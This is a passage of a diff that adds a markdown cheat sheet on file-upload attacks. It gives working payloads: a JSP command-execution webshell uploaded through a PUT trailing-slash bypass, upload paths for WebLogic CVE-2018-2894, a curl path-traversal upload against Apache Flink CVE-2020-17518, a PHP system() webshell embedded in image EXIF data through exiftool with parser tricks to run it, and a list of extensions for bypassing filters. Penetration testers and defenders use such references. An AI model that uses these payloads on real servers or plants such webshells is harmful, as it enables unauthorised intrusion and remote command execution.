+ PUT /shell.jsp HTTP/1.1
76
+ → 403 Forbidden
77
+
78
+ # Bypass with trailing slash:
79
+ PUT /shell.jsp/ HTTP/1.1
80
+ Content-Type: application/octet-stream
81
+
82
+ <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
83
+ → 201 Created
84
+
85
+ # Or Windows-style:
86
+ PUT /shell.jsp::$DATA HTTP/1.1
87
+ ```
88
+
89
+ ---
90
+
91
+ ## 3. CVE Case: WebLogic Arbitrary File Upload (CVE-2018-2894)
92
+
93
+ WebLogic's Web Service Test Page allows unauthenticated file upload:
94
+
95
+ ```
96
+ # Endpoint (when test page is enabled):
97
+ /ws_utc/config.do
98
+ # Or: /ws_utc/resources/setting/keystore
99
+
100
+ # Upload JSP webshell as a "keystore" file
101
+ # The file is stored in a web-accessible path
102
+ # Access: /ws_utc/css/config/keystore/TIMESTAMP_FILENAME.jsp
103
+ ```
104
+
105
+ ---
106
+
107
+ ## 4. CVE Case: Apache Flink File Upload (CVE-2020-17518)
108
+
109
+ Flink's REST API allows uploading JARs with path traversal in the filename:
110
+
111
+ ```bash
112
+ # Upload with crafted filename containing path traversal:
113
+ curl -X POST http://TARGET:8081/jars/upload \
114
+ -F 'jarfile=@shell.jar;filename=../../../../../../tmp/shell.jar'
115
+ ```
116
+
117
+ ---
118
+
119
+ ## 5. File Upload + Parsing Vulnerability Chain
120
+
121
+ The most reliable upload-to-RCE chain combines both:
122
+
123
+ ```
124
+ 1. Upload: image with PHP code embedded (e.g., in EXIF Comment)
125
+ exiftool -Comment='<?php system($_GET["c"]); ?>' photo.jpg
126
+
127
+ 2. Exploit parsing vulnerability to execute as PHP:
128
+ - Nginx: /uploads/photo.jpg/.php
129
+ - Apache: rename to photo.php.jpg
130
+ - IIS: upload to x.asp/ directory
131
+
132
+ 3. Access with command parameter:
133
+ GET /uploads/photo.jpg/.php?c=id
134
+ ```
135
+
136
+ ---
137
+
138
+ ## 6. Extension Bypass Reference
139
+
140
+ ```text
141
+ # PHP alternatives:
142
+ .php .php3 .php4 .php5 .phtml .pht .phps .phar
143
+
144
+ # ASP alternatives:
145
+ .asp .aspx .asa .cer .cdx .ashx .asmx
146
+
147
+ # JSP alternatives:
148
+ .jsp .jspx .jsw .jsv .jspf
149
+
150
+ # Case variations:
151
+ .pHp .PhP .PHP .Asp .aSp
152
+
153
+ # Double extensions:
154
+ .php.jpg .php.png .php.txt .asp;.jpg
155
+
156
+ # Null byte (legacy):
157
+ .php%00.jpg .php\x00.jpg
158
+ ```